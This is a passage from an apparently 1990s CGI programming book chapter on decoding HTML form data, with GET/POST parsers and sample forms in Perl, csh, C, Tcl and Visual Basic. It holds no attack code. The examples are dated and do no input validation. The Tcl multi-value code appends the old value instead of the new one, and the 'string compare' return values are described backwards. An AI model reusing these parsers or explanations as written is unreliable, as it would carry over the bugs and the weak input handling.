Content-type: application/x-www-form-urlencoded
Content-length: 35
user=Larry%20Bird&age=35&pass=testing

The main advantage to the POST method is that query length can be unlimited-- you don't have to worry about the client or server truncating data. To get data sent by the POST method, the CGI program reads from standard input. However, you cannot create "canned queries."

Understanding the Decoding Process

In order to access the information contained within the form, a decoding protocol must be applied to the data. First, the program must determine how the data was passed by the client. This can be done by examining the value in the environment variable REQUEST_METHOD. If the value indicates a GET request, either the query string or the extra path information must be obtained from the environment variables. On the other hand, if it is a POST request, the number of bytes specified by the CONTENT_LENGTH environment variable must be read from standard input. The algorithm for decoding form data follows:

  1. Determine request protocol (either GET or POST) by checking the REQUEST_METHOD environment variable.

  2. If the protocol is GET, read the query string from QUERY_STRING and/or the extra path information from PATH_INFO.

  3. If the protocol is POST, determine the size of the request using CONTENT_LENGTH and read that amount of data from the standard input.

  4. Split the query string on the "&" character, which separates key-value pairs (the format is key=value&key=value...).

  5. Decode the hexadecimal and "+" characters in each key-value pair.

  6. Create a key-value table with the key as the index. (If this sounds complicated, don't worry, just use a high-level language like Perl. The language makes it pretty easy.)

You might wonder why a program needs to check the request protocol, when you know exactly what type of request the form is sending. The reason is that by designing the program in this manner, you can use one module that takes care of both types of requests. It can also be beneficial in another way.

Say you have a form that sends a POST request, and a program that decodes both GET and POST requests. Suppose you know that there are three fields: user, age, and pass. You can fill out the form, and the client will send the information as a POST request. However, you can also send the information as a query string because the program can handle both types of requests; this means that you can save the step of filling out the form. You can even save the complete request as a hotlist item, or as a link on another page.

Previous | Home | Next
HTML Tags | Book Index | Designing Applications Using Forms in Perl
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.3 Designing Applications Using Forms in Perl

CGI Programming on the World Wide Web

Previous Chapter 4
Forms and CGI 		Next

4.3 Designing Applications Using Forms in Perl

Here is a simple form that prompts for a name:

<HTML>
<HEAD><TITLE>Testing a Form</TITLE></HEAD>
<BODY>
<H1>Testing a Form</H1>
<HR>
<FORM ACTION="/cgi-bin/greeting.pl" METHOD="POST">
Enter your full name: <INPUT TYPE="text" NAME="user" SIZE=60><BR>
<P>
<INPUT TYPE="submit" VALUE="Submit the form">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY>
</HTML>

The form consists of an input field and the Submit and Reset buttons.

Now, here is the Perl program to decode the information and print a greeting:

#!/usr/local/bin/perl
$webmaster = "shishir\@bu.edu";
&parse_form_data (*simple_form);

The subroutine parse_form_data decodes the form information. Here, the main program passes the subroutine a reference to a variable named simple_form. The subroutine treats it as an associative array (a common data type in Perl) and fills it with key-value pairs sent by the browser. We will see how parse_form_data works later; the important thing right now is that we can easily get the name of the user entered into the form.

You may find it confusing, trying to track what happens to the information entered by the user. The user fills out the forms, and the browser encodes the information into a string of key-value pairs. If the request method is POST, the server passes the information as standard input to the CGI program. If the request method is GET, the server stores the information in an environment variable, QUERY_STRING. In either case, parse_form_data retrieves the data, breaks it into key-value pairs, and stores it into an associative array. The main program can then extract any information that you want.

print "Content-type: text/plain", "\n\n";
$user = $simple_form{'user'};
if ($user) {
    print "Nice to meet you ", $simple_form{'user'}, ".", "\n";
    print "Please visit this Web server again!", "\n";
} else {
    print "You did not enter a name. Are you shy?", "\n";
    print "But, you are welcome to visit this Web server again!", "\n";
}
exit(0);

The main program now extracts the user name from the array that parse_form_data filled in. If you go back and look at the form, you'll find it contained an <INPUT> tag with a NAME attribute of "user." The value "user" becomes the key in the array. That is why this program checks for the key "user" and extracts the value, storing it in a variable that also happens to be named "user."

The conditional checks to see if the user entered any information. One of two possible greetings is printed out. It is always very important to check the form values to make sure there is no erroneous information. For example, if the user entered "John Doe" the output would be:

Nice to meet you John Doe.
Please visit this Web server again!

On the other hand, if the user did not enter any data into the input field, the response would be:

You did not enter a name. Are you shy?
But, you are welcome to visit this Web server again!

Now, let's look at the core of this program: the subroutine that does all of the work.

sub parse_form_data
{
    local (*FORM_DATA) = @_;
    local ( $request_method, $query_string, @key_value_pairs,
                  $key_value, $key, $value);

The local variable FORM_DATA is a reference (or, in Perl terms, a glob) to the argument passed to the subroutine. In our case, FORM_DATA is a reference to the simple_form associate array. Why did we pass a reference with an asterisk (*simple_form) instead of just naming the array (simple_form)? The reasoning will be a little hard to follow if you are not familiar with programming, but I will try to explain. If I passed simple_form without the asterisk, the subroutine would not be able to pass information back to the main program in that array (it could return it in another array, but that is a different matter). This would be pretty silly, since the array is empty to start with and the only purpose of the subroutine is to fill it.

As you can see, the first thing I do is create another reference to the array, FORM_DATA. This means that FORM_DATA and simple_form share the same memory, and any data I put in FORM_DATA can be extracted by the main program from simple_form. You will see that the subroutine does all further operations on FORM_DATA; this is the same as doing them on simple_form.

Now let's continue with the rest of this subroutine.

    $request_method = $ENV{'REQUEST_METHOD'};
    if ($request_method eq "GET") {
        $query_string = $ENV{'QUERY_STRING'};
    } elsif ($request_method eq "POST") {
        read (STDIN, $query_string, $ENV{'CONTENT_LENGTH'});
    } else {
        &return_error (500, "Server Error",
                            "Server uses unsupported method");
    }

The request method is obtained. If it is a GET request, the query string is obtained from the environment variable and stored in query_string. However, if it is a POST request, the amount of data sent by the client is read from STDIN with the read command and stored in query_string. If the request protocol is not one of the two discussed earlier, an error is returned. Notice the return_error subroutine, which is used to return an error to the browser. The three parameters represent the status code, the status keyword, and the error message, respectively.

    @key_value_pairs = split (/&/, $query_string);
    foreach $key_value (@key_value_pairs) {
        ($key, $value) = split (/=/, $key_value);
        $value =~ tr/+/ /;
        $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;

Since the client puts ampersands between key-value pairs, the split command specifies an ampersand as the delimiter. The result is to fill the array key_value_pairs with entries, where each key-value pair is stored in a separate array element. In the loop, each key-value pair is again split into a separate key and value, where an equal sign is the delimiter. The tr (for translate) operator replaces each "+" with the space character. The regular expression within the (for substitute) operator looks for an expression that starts with the "%" sign and is followed by two characters. These characters represent the hexadecimal value. The parentheses in the regexp instruct Perl to store these characters in a variable ($1). The pack and hex commands convert the value stored in $1 to an ASCII equivalent. Finally, the "e" option evaluates the second part of the substitute command--the replacement string--as an expression, and the "g" option replaces all occurrences of the hexadecimal string. If you had remained unconvinced up to now of Perl's power as a language for CGI, this display of text processing (similar to what thousands of CGI programmers do every day) should change your mind.

        if (defined($FORM_DATA{$key})) {
            $FORM_DATA{$key} = join ("\0", $FORM_DATA{$key}, $value);
        } else {
                    $FORM_DATA{$key} = $value;
        }
    }
}

When multiple values are selected in a scrolled list and submitted, each value will contain the same variable name. For example, if you choose "One" and "Two" in a scrolled list with the variable name "Numbers," the query string would look like:

Numbers=One&Numbers=Two

The conditional statement above is used in cases like these. If a variable name exists--indicating a scrolled list with multiple options--each value is concatenated with the "\0" separator. Now, here is the return_error subroutine:

sub return_error
{
    local ($status, $keyword, $message) = @_;
    print "Content-type: text/html", "\n";
    print "Status: ", $status, " ", $keyword, "\n\n";
    print <<End_of_Error;
<HTML>
<HEAD>
    <TITLE>CGI Program - Unexpected Error</TITLE>
</HEAD>
<BODY>
<H1>$keyword</H1>
<HR>$message<HR>
Please contact $webmaster for more information.
</BODY>
</HTML>
End_of_Error
    exit(1);
}

This subroutine can be used to return an error status. Since the program handles both GET and POST queries, you can send a query to it directly:

<A HREF="/cgi-bin/program.pl?user=John+Doe">Hello</A>

The program will display the same output as before.

Combining Graphics and Queries

It's simple to return graphical output when you process a form--in fact you can "bundle" the whole program up in an image, using the HTML tag IMG. Let's see how to do this. First, we'll start with a form that's just a little more complicated than the previous form:

<HTML>
<HEAD><TITLE>Color Text</TITLE></HEAD>
<BODY>
<H1>Color Text</H1>
<HR>
<FORM ACTION="/cgi-bin/gd_text.pl" METHOD="POST">
This form makes it possible to display color text and messages.<BR>
What message would you like to display: <BR>
<INPUT TYPE="text" NAME="message" SIZE=60><BR>
What is your favorite color:
<SELECT NAME="color" SIZE=1>
<OPTION SELECTED>Red
<OPTION>Blue
<OPTION>Green
<OPTION>Yellow
<OPTION>Orange
<OPTION>Purple
<OPTION>Brown
<OPTION>Black
</SELECT>
<P>
<INPUT TYPE="submit" VALUE="Submit the form">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY>
    </HTML>

This displays a form with one text field and a menu, along with the customary Submit and Reset buttons. The form and the program allow you to display color text in the browser's window. For example, if you want a red headline in your document, you can fill out the form or access the program directly:

<IMG SRC="/cgi-bin/gd_text.pl?message=Welcome+to+this+Web+server&color=Red>

This will place the GIF image with the message "Welcome to this Web server" in red into your HTML document. Now, here's the program:

#!/usr/local/bin/perl5
use GD;
$| = 1;
$webmaster = "shishir\@bu\.edu";
print "Content-type: image/gif", "\n\n";
&parse_form_data (*color_text);
$message = $color_text{'message'};
$color = $color_text{'color'};
if (!$message) {
    $message = "This is an example of " . $color . " text";
}

The form data is parsed and placed in the color_text associative array. The selected text and color are stored in $message, and $color, respectively. If the user did not enter any text, a default message is chosen.

This program uses the gd graphics library, which we discuss more fully in Chapter 6, Hypermedia Documents.

$font_length = 8;
$font_height = 16;
$length = length ($message);
$x = $length * $font_length;
$y = $font_height;
$image = new GD::Image ($x, $y);

The length of the user-specified string is determined. A new image is created based on this length.

$white = $image->colorAllocate (255, 255, 255);
if ($color eq "Red") {
    @color_index = (255, 0, 0);
} elsif ($color eq "Blue") {
    @color_index = (0, 0, 255);
} elsif ($color eq "Green") {
    @color_index = (0, 255, 0);
} elsif ($color eq "Yellow") {
    @color_index = (255, 255, 0);
} elsif ($color eq "Orange") {
    @color_index = (255, 165, 0);
} elsif ($color eq "Purple") {
    @color_index = (160, 32, 240);
} elsif ($color eq "Brown") {
    @color_index = (165, 42, 42);
} elsif ($color eq "Black") {
    @color_index = (0, 0, 0);
}
$selected_color = $image->colorAllocate (@color_index);
$image->transparent ($white);

Red, Green, and Blue (RGB) values for the user-selected color are stored in the color_index array. If no color is selected manually, the default is Red, as specified in the form. If you want to add more colors, look in /usr/local/X11/lib/rgb.txt for a list of the common colors. The transparent function makes the image background transparent.

$image->string (gdLargeFont, 0, 0, $message, $selected_color);
print $image->gif;
exit(0);

The text is displayed using the string operator, and the image is printed to standard output. As discussed in the previous example, you can also access this program with a GET request.

Previous | Home | Next
Sending Data to the Server | Book Index | Decoding Forms in Other Languages
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 4] 4.4 Decoding Forms in Other Languages

CGI Programming on the World Wide Web

Previous Chapter 4
Forms and CGI 		Next

4.4 Decoding Forms in Other Languages

Since Perl contains powerful pattern-matching operators and string manipulation functions, it is very simple to decode form information. Unfortunately, this process is not as easy when dealing with other high-level languages, as most of them lack these kinds of operators. However, there are various libraries of functions on the Internet that make the decoding process easier, as well as the uncgi program (http://www.hyperion.com/~koreth/uncgi.html).

C Shell (csh)

It is difficult to decode form information using native C shell commands. csh was not designed to perform this type of string manipulation. As a result, you have to use external programs to achieve the task. The easiest and most versatile package available for handling form queries is uncgi, which decodes the form information and stores them in environment variables that can be accessed not only by csh, but also by any other language, such as Perl, Tcl, and C/C++. For example, if the form contains two text fields, named "user" and "age," uncgi will place the form data in the variables WWW_user and WWW_age, respectively. Here is a simple form and a csh CGI script to handle the information:

<HTML>
<HEAD><TITLE>Simple C Shell and uncgi Example</TITLE></HEAD>
<BODY>
<H1>Simple C Shell and uncgi Example</H1>
<HR>
<FORM ACTION="/cgi-bin/uncgi/simple.csh" METHOD="POST">
Enter name: <INPUT TYPE="text" NAME="name" SIZE=40><BR>
Age: <INPUT TYPE="text" NAME="age" SIZE=3 MAXLENGTH=3><BR>
What do you like:<BR>
<SELECT NAME="drink" MULTIPLE>
<OPTION>Coffee
<OPTION>Tea
<OPTION>Soft Drink
<OPTION>Alcohol
<OPTION>Milk
<OPTION>Water
</SELECT>
<P>
<INPUT TYPE="submit" VALUE="Submit the form">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY>
</HTML>

Notice the URL associated with the ACTION attribute! It points to the uncgi executable, with extra path information (your program name). The server executes uncgi, which then invokes your program based on the path information. Remember, your program does not necessarily have to be a csh script; it can be a program written in any language. Now, let's look at the program.

#!/usr/local/bin/csh
echo "Content-type: text/plain"
echo ""

The usual header information is printed out.

if ($?WWW_name) then
    echo "Hi $WWW_name -- Nice to meet you."
else
    echo "Don't want to tell me your name, huh?"
    echo "I know you are calling in from $REMOTE_HOST."
    echo ""
endif

uncgi takes the information in the "name" text entry field and places it in the environment variable WWW_name.

In csh, environment variables are accessed by prefixing a "$" to the name (e.g., $REMOTE_HOST). When checking for the existence of variables, however, you must use the C shell's $? construct. I use $? in the conditional to check for the existence of WWW_Name. You cannot check for the existence of data directly:

if ($WWW_name) then
    ....
else
    ....
endif

If the user did not enter any data into the "name" text entry field, uncgi will not set a corresponding environment variable. If you then try to check for data using the method shown above, the C shell will give you an error indicating the variable does not exist.

The same procedure is applied to the "age" text entry field.

if ($?WWW_age) then
    echo "You are $WWW_age years old."
else
    echo "Are you shy about your age?"
endif
echo ""
if ($?WWW_drink) then
    echo "You like: $WWW_drink" | tr '#' ''
else
    echo "I guess you don't like any fluids."
endif
exit(0)

Here is another important point to remember. Since the form contains a scrolled list with the multiple selection property, uncgi will place all the selected values in the variable, separated by the " #" symbol. The UNIX command tr converts the "#" character to the space character within the variable for viewing purposes.

C/C++

There are a few form decoding function libraries for C and C++. These include the previously mentioned uncgi library, and Enterprise Integration Technologies Corporation's (EIT) libcgi. Both of them are simple to use.

C/C++ decoding using uncgi

Let's look at an example using uncgi (assuming the HTML form is the same as the one used in the previous example):

#include <stdio.h>
#include <stdlib.h>

These two libraries--standard I/O and standard library--are used in the following program. The getenv function, used to access environment variables, is declared in stdlib.h.

void main (void)
{
    char *name,
         *age,
         *drink,
         *remote_host;
    printf ("Content-type: text/plain\n\n");

    uncgi();

Four variables are declared to store environment variable data. The uncgi function retrieves the form information and stores it in environment variables. For example, a form variable called name, would be stored in the environment variable WWW_name.

    name = getenv ("WWW_name");
    age = getenv ("WWW_age");
    drink = getenv ("WWW_drink");
    remote_host = getenv ("REMOTE_HOST");

The getenv standard library function reads the environment variables, and returns a string containing the appropriate information.

    if (name == NULL) {
        printf ("Don't want to tell me your name, huh?\n");
        printf ("I know you are calling in from %s.\n\n", remote_host);
    } else {
        printf ("Hi %s -- Nice to meet you.\n", name);
    }

    if (age == NULL) {
        printf ("Are you shy about your age?\n");
    } else {
        printf ("You are %s years old.\n", age);
    }

    printf ("\n");

Depending on the user information in the form, various informational messages are output.

    if (drink == NULL) {
        printf ("I guess you don't like any fluids.\n");
    } else {
        printf ("You like: ");

        while (*drink != '\0') {
            if (*drink == '#') {
                printf (" ");
            } else {
                printf ("%c", *drink);
            }
            ++drink;
        }

        printf ("\n");
    }

    exit(0);
}

The program checks each character in order to convert the "#" symbols to spaces. If the character is a "#" symbol, a space is output. Otherwise, the character itself is displayed. This process takes up eight lines of code, and is difficult to implement when compared to Perl. In Perl, it can be done simply like this:

$drink =~ s/#/ /g;

This example points out one of the major deficiencies of C for CGI program design: pattern matching.

C/C++ decoding using libcgi

Now, let's look at another example in C. But this time, we will use EIT's libcgi library, which you can get from http://wsk.eit.com/wsk/dist/doc/libcgi/libcgi.html.

#include <stdio.h>
#include "cgi.h"

The header file cgi.h contains the prototypes for the functions in the library. Simply put, the file--like all the other header files--contains a list of all the functions and their arguments.

cgi_main (cgi_info *cgi)
{
    char *name,
         *age,
         *drink,
         *remote_host;

Notice that there is no main function in this program. The libcgi library actually contains the main function, which fills a struct called cgi_info with environment variables and data retrieved from the form. It passes this struct to your cgi_main function. In the function I've written here, the variable cgi refers to that struct:

    form_entry *form_data;

The variable type form_entry is a linked list that is meant to hold key/value pairs, and is defined in the library. In this program, form_data is declared to be of type form_entry.

    print_mimeheader ("text/plain");

The print_mimeheader function is used to output a specific MIME header. Technically, this function is not any different from doing the following:

    print "Content-type: text/plain\n\n";

However, the function does simplify things a bit, in that the programmer does not have to worry about accidentally forgetting to output the two newline characters after the MIME header.

    form_data = get_form_entries (cgi);
    name = parmval (form_data, "name");
    age = parmval (form_data, "age");
    drink = parmval (form_data, "drink");

The get_form_entries function parses the cgi struct for form information, and places it in the variable form_data. The function takes care of decoding the hexadecimal characters in the input. The parmval function retrieves the value corresponding to each form variable (key).

    if (name == NULL) {
        printf ("Don't want to tell me your name, huh?\n");
        printf ("I know you are calling in from %s.\n\n", cgi->remote_host);
    } else {
        printf ("Hi %s -- Nice to meet you.\n", name);
    }

Notice how the REMOTE_HOST environment variable is accessed. The libcgi library places all the environment variable information into the cgi struct.

Of course, you can still use the getenv function to retrieve environment information.

    if (age == NULL) {
        printf ("Are you shy about your age?\n");
    } else {
        printf ("You are %s years old.\n", age);
    }

    printf ("\n");

    if (drink == NULL) {
        printf ("I guess you don't like any fluids.\n");
    } else {
        printf ("You like: %s", drink);
        printf ("\n");
    }

    free_form_entries (form_data);
    exit(0);
}

Unfortunately, this library does not handle multiple keys properly. For example, if the form has multiple checkboxes with the same variable name, libcgi will return just one value for a specific key.

Once the form processing is complete, you should call the free_form_entries function to remove the linked list from memory.

In addition to the functions discussed, libcgi offers numerous other ones to aid in form processing. One of the functions that you might find useful is the mcode function. Here is an example illustrating this function:

switch (mcode (cgi)) {
    case MCODE_GET:
        printf("Request Method: GET\n");
        break;
    case MCODE_POST:
        printf("Request Method: POST\n");
        break;
    default:
        printf("Unrecognized method: %s\n", cgi->request_method);
}

The mcode function reads the REQUEST_METHOD information from the cgi struct and returns a code identifying the type of request.

Tcl

Unlike C/C++, Tcl does contain semi-efficient pattern matching functions. These functions can be used to decode form information. However, according to benchmark test results posted in comp.lang.perl, the regular expression functions as implemented in Tcl are quite inefficient, especially when compared to Perl. But you are not limited to writing form decoding routines in Tcl, because you can still use uncgi.

Tcl, like Perl, has been extended to include the gd graphics library. In this section, we'll see how Tcl works with gd graphics, and along the way learn how to decode input either by invoking uncgi or by spinning our own Tcl code. We'll write a trivial program to display color text, just like the Perl program earlier in the chapter.

#!/usr/local/bin/gdtcl
puts "Content-type: image/gif\n"
set font_height 16
set font_length 8
set color $env(WWW_color)

In Tcl, variables are declared with the set command. The font height and length are set to 16 and 8, respectively. And color is equated to the environment variable WWW_color-set by uncgi. The env array is equivalent to Perl's ENV associative array. The "$" sign instructs Tcl to substitute the value of the variable. If we did not include the "$" sign, the variable would be set to the literal string "env(WWW_color)".

if {[info exists env(WWW_message)]} {
    set message $env(WWW_message)
} else {
    set message "This is an example of $color text"
}

This block of code sets the message to be displayed. If the user submitted a message, the variable message is set to it. Otherwise, a default message is output.

For people not familiar with Tcl syntax and commands, the info command can use some explanation. It has to appear in square brackets which tell Tcl to execute the command and pass the return value back to the if command. info exists checks whether a variable has been defined, and returns a true or false value.

set message_length  [string length $message]
set x  [expr $message_length * $font_length]
set y  $font_height

Here we determine the width and height of the image, assigning those values to x and y. The string length command determines how many characters are in the string. This value, temporarily stored in message_length, must be multiplied by the font length to get the total number of pixels in the message. To do basic arithmetic, Tcl offers the expr command.

set image  [gd create $x $y]
set white  [gd color new $image 255 255 255]

The gd create command requires the user to specify the length and height of the image. The image is created, and the handle to it is stored in the variable image. The background color is set to white. Although the gd commands in Tcl have a slightly different syntax than those in Perl, their operation is identical.

if {[string compare $color "Red"] == 0} {
    set color_index [list 255 0 0]
} elseif {[string compare $color "Blue"] == 0} {
    set color_index [list 0 0 255]
} elseif {[string compare $color "Green"] == 0} {
    set color_index [list 0 255 0]
} elseif {[string compare $color "Yellow"] == 0} {
    set color_index [list 255 255 0]
} elseif {[string compare $color "Orange"] == 0} {
    set color_index [list 255 165 0]
} elseif {[string compare $color "Purple"] == 0} {
    set color_index [list 160 32 240]
} elseif {[string compare $color "Brown"] == 0} {
    set color_index [list 165 42 42]
} elseif {[string compare $color "Black"] == 0} {
    set color_index [list 0 0 0]
}

This is merely a group of if-then-else statements that determine the RGB color index for the user-selected color. The string compare function compares its two arguments and returns either -1, 0, or 1, to indicate that the first argument is greater than, equal to, or less than the second argument, respectively.

The color has to be a list of three values, not just a string. That is the purpose of the list command in brackets. It creates a list--a construct similar to regular arrays in Perl--and returns it to the set command, which assigns the list to the color_index variable.

set selected_color  [gd color new $image $color_index]
gd color transparent $image $white
gd text $image $selected_color large 0 0 $env(WWW_message)
gd writeGIF $image stdout

The chosen color is selected, and the image background is made transparent. A message is output at coordinate (0, 0), and the entire GIF image is sent to standard output.

flush stdout
gd destroy $image
exit 0

The standard output buffer is flushed before exiting, to ensure that the entire image is sent to the browser. Finally, the image handle is destroyed.

In this program, we've relied on uncgi to do the hard parsing that Tcl is somewhat weak at. The result is a simple and fully functional handler for a form. But for people who want to do everything in Tcl, here is how to decode a form:

set webmaster {shishir@bu.edu}

The variable webmaster is set. Notice the braces around the expression indicating no variable substitution.

proc return_error { status keyword message } {
    global webmaster
    puts "Content-type: text/html"
    puts "Status: $status $keyword\n"
    puts "<title>CGI Program - Unexpected Error</title>"
    puts "<H1>$keyword</H1>"
    puts "<HR>$message</HR>"
    puts "Please contact $webmaster for more information"
}

The keyword proc is used to define a procedure. The variables inside the first set of braces represent the arguments passed by the user. There is a big difference between Perl subroutines and Tcl procedures. Here are the two ways in which Tcl is different:

  • Global values are not available within the procedure default. Before referring to a variable from a higher procedure, you have to declare it with the global command. You can also affect commands in higher-level procedures through the upvar command, which we'll look at in a moment.

  • All variables declared inside a procedure are considered local, and are removed after the procedure terminates.

In this procedure, the global variable webmaster is used. The procedure puts out an error message that reflects the arguments passed.

proc parse_form_data { form_info } {
    global env
    upvar $form_info FORM_DATA

The procedure parse_form_data is identical to its Perl counterpart at the beginning of this chapter. The environment variable array env is accessed in this procedure with the global statement. The upvar keyword allows you to create a local reference to the array passed to this subroutine. Inside the subroutine, the array referenced by form_info is accessed through FORM_DATA.

    set request_method $env(REQUEST_METHOD)
    if {[string compare $request_method "POST"] == 0} {
        set query_string [read stdin $env(CONTENT_LENGTH)]
    } elseif {[string compare $request_method "GET"] == 0} {
        set query_string $env(QUERY_STRING)
    } else {
        return_error 500 {Server Error} {Server uses unsupported method}
        exit 1
    }

This process should look familiar. The type of request determines how form information is loaded into the query_string variable. If there is an unrecognized method, the procedure return_error is called with a status of 500-Server Error.

    set key_value_pairs [split $query_string &]

The query string is split on the "&" character. If there are multiple variables-as is the case with most forms--the variable key_value_pairs will represent a list.

    foreach key_value $key_value_pairs {

The foreach loop structure iterates through each key-value pair. Notice that there is no "$" sign in front of the variable key_value. This indicates that key_value will be set each time through the loop. On the other hand, the value of the variable key_value_pairs will be substituted because of the dollar sign. If there is no dollar sign in front of key_value_pairs, Tcl will give you an error indicating that a valid list needs to be specified. This concept is very important, as many programmers forget the dollar sign when it is required, and accidentally insert it when it is not required.

        set pair [split $key_value =]
        set key [lindex $pair 0]
        set value [lindex $pair 1]

The first command divides the key from the value to create a two-element list. This list is assigned to the variable pair. Since list indexes start at zero, the key will be in list item zero and the value in list item 1. We use the lindex command to extract the key and then the value.

        regsub -all {\+} $value { } value

The regsub function substitutes characters within a string. This line of code is equivalent to the following line in Perl:

$value =~ s/\+/ /g;

The -all switch replaces all occurrences of the pattern within the string. In this example, Tcl looks for the plus sign (the first argument) in $value (the second), replaces it with a space (the third), and writes the information back into the variable value (the fourth). You may be confused because the first value has a dollar sign while the second does not. This is because the first time around Tcl is dereferencing the variable--taking input data from it. The second time, it is storing output back into the variable, an operation that requires you to specify the variable directly rather than dereference it.

        while {[regexp {%[0-9A-Fa-f][0-9A-Fa-f]} $value matched]} {
            scan $matched "%%%x" hex
            set symbol [ctype char $hex]
            regsub -all $matched $value $symbol value
        }

This while loop decodes the hexadecimal characters. The regexp command is used to search value for the pattern "%..", which signifies a three-character string starting with the "%" character. The matched string is placed in the variable matched. This is like using parentheses in a regular expression to isolate and mark a group of characters, but the syntax is simpler. The first string that matches %.. gets assigned to matched. Then, the scan command with the "%%%x" argument converts the hexadecimal number to a decimal number. The ctype char command converts the decimal number to its ASCII equivalent. Finally, regsub replaces the hexadecimal string with the ASCII character. This process is quite tedious, especially when we compare it to Perl:

$value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;

Now, let's look at the final part of the program:

        if {[info exists FORM_DATA($key)]} {
            append FORM_DATA($key) "\0" $FORM_DATA($key)
        } else {
            set FORM_DATA($key) $value
        }
    }
}

Remember that we started this procedure by assigning FORM_DATA to whatever variable is passed to the procedure. Now we create an entry in FORM_DATA for every key, the key being used as an index into the array. The value becomes the data that the key points to. By checking for an existing key with an if statement, we allow form variables to have multiple values, which is necessary for scrolled lists and multiple checkboxes. As in our Perl version, we put multiple values into a single array element with a null character in between.

Now, how do we call these procedures? Suppose you have two fields on your form--name and age. You could access these variables by doing the following:

parse_form_data simple_form
puts "Your name is: $simple_form(name) and your age is: $simple_form(age)"

The parse_form_data procedure takes the form information and places it in the simple_form array. You can then look at and manipulate data in simple_form just like any other array. OA

Visual Basic

As we discussed in Chapter 2, Input to the Common Gateway Interface, the WebSite server for Windows NT and Windows 95--as well as the Windows 3.1 HTTP server--passes form information to the CGI program through a Windows profile file. The developer, Bob Denny, designed a library for decoding form information in Visual Basic. Let's use this library to decode some forms. But first, here is the HTML code for creating the form:

<HTML>
<HEAD><TITLE>Health/Exercise Survey</TITLE></HEAD>
<BODY>
<H1>Health/Exercise Survey</H1>
<HR>
<FORM ACTION="\cgi-win\exercise.exe" METHOD="POST">
<EM>What is your name?</EM><BR>
<INPUT TYPE="text" NAME="name" SIZE=40><BR>
<P>
<EM>Do you exercise regularly?</EM><BR>
<INPUT TYPE="radio" NAME="regular" VALUE="Yes">Yes<BR>
<INPUT TYPE="radio" NAME="regular" VALUE="No">No<BR>
<P>
<EM>Why do you exercise?</EM><BR>
<INPUT TYPE="radio" NAME="why" VALUE="health">Health Benefits<BR>
<INPUT TYPE="radio" NAME="why" VALUE="athlete">Athletic Training<BR>
<INPUT TYPE="radio" NAME="why" VALUE="forced">Forced upon you<BR>
<INPUT TYPE="radio" NAME="why" VALUE="enjoy">Enjoyment<BR>
<INPUT TYPE="radio" NAME="why" VALUE="other">Other reasons<BR>
<P>
<EM>What sport do you <B>primarily</B> participate in?</EM><BR>
<SELECT NAME="sports" SIZE=1>
<OPTION>Tennis
<OPTION>Swimming
<OPTION>Basketball
<OPTION>Running/Walking
<OPTION>Cycling
<OPTION>Skating/Rollerblading
<OPTION>Skiing
<OPTION>Climbing Stairs
<OPTION>Jumping Rope
<OPTION>Other
</SELECT>
<P>
<EM>How often do you exercise?</EM><BR>
<INPUT TYPE="radio" NAME="interval" VALUE="0">Not at all<BR>
<INPUT TYPE="radio" NAME="interval" VALUE="1">Once a week<BR>
<INPUT TYPE="radio" NAME="interval" VALUE="3">Three times a week<BR>
<INPUT TYPE="radio" NAME="interval" VALUE="5">Five times a week<BR>
<INPUT TYPE="radio" NAME="interval" VALUE="7">Every day of the week<BR>
<P>
<INPUT TYPE="submit" VALUE="Submit the form">
<INPUT TYPE="reset"  VALUE="Clear all fields">
</FORM>
<HR>
</BODY>
</HTML>

Now let's build a Visual Basic CGI program to decode the form information and store the results in a data file. The program needs to be compiled before it can be used.

Public Sub CGI_Main()

This program uses the CGI.BAS library to decode the form information. The function Main(), which in turn calls the CGI_Main(), is defined in the library.

    Dim intCtr As Integer
    Dim intFN As String
    Dim message As String

We define three variables that we will use later in the program: intCtr, intFN, and message.

    intFN = FreeFile
    Open "survey.dat" for APPEND as #intFN

The variable intFN holds an unused file handle, thanks to the FreeFile function. We then proceed to use this handle to open the file "survey.dat" in append mode; if the file does not exist, it is created.

    Print #intFN, "Results from " & CGI_RemoteHost
    Print #intFN, "-----< Start of Data >-----"

Information is output to the file by specifying the file handle with the Print statement. Visual Basic is a case-insensitive language-unlike most of the languages we have discussed so far. The variable CGI_RemoteHost represents the environment variable REMOTE_HOST.

    For intCtr = 0 To CGI_NumFormTuples - 1
       Select Case CGI_FormTuples(intCtr).key
          Case "name"
             message = "Subject name: "
          Case "regular"
             message = "Regular exercise: "
          Case "why"
             message = "Reason for exercise: "
          Case "sports"
             message = "Primarily participates in: "
          Case "interval"
             message = "Exercise frequency: "
       End Select
       Print #intFN, message & CGI_FormTuples(intCtr).value
    Next

Unlike Perl or Tcl, Visual Basic does not have support for arrays with string indexes. As a result, you cannot have an "array(key) = value" construct. Instead, the form values are placed in a simple struct, such that the key and the value share the same numerical index.

In this case, the integer variable CGI_NumFormTuples represents the number of key-value pairs. The loop iterates through each pair and outputs a message based on the value of the key. The key and value are stored in CGI_FormTuples(index).key and CGI_FormTuples(index).value, respectively.

    Print #intFN, "-----< End of Data >-----"
    Close #intFN

The end-of-data message is output to the file, and the file is closed.

    Send ("Content-type: text/html")
    Send ("")
    Send ("<TITLE>Thanks for filling out the survey!</TITLE>")
    Send ("<H1>Thank You!</H1>")
    Send ("<HR>")
    Send ("Thanks for taking the time to fill out the form.")
    Send ("We really appreciate it!")
End Sub

The Send function is used to output text to the server. It prints the message you specify to the file handle represented by the server.

AppleScript

On the Macintosh, you can use either AppleScript or MacPerl to write CGI applications. Since we've looked at enough Perl examples, let's write an example in AppleScript. There are two main reasons for using AppleScript for CGI applications. First, it is quite easy to use, and the syntax looks like plain English. And second, many libraries have been designed to aid in CGI application development. Now, here is an AppleScript program that accomplishes the same task as the Visual Basic example presented earlier.

set survey_file to "Macintosh HD:survey.dat"

The variable survey_file contains the path to the data file. This syntax is equal to:

survey_file = "Macintosh HD:survey.dat"

The ":" character is the directory separator on the Mac, just as UNIX uses a slash and Windows uses a backslash.

set crlf to (ASCII character 13) & (ASCII character 10)
set http_header to  "HTTP/1.0 200 OK" & crlf & -
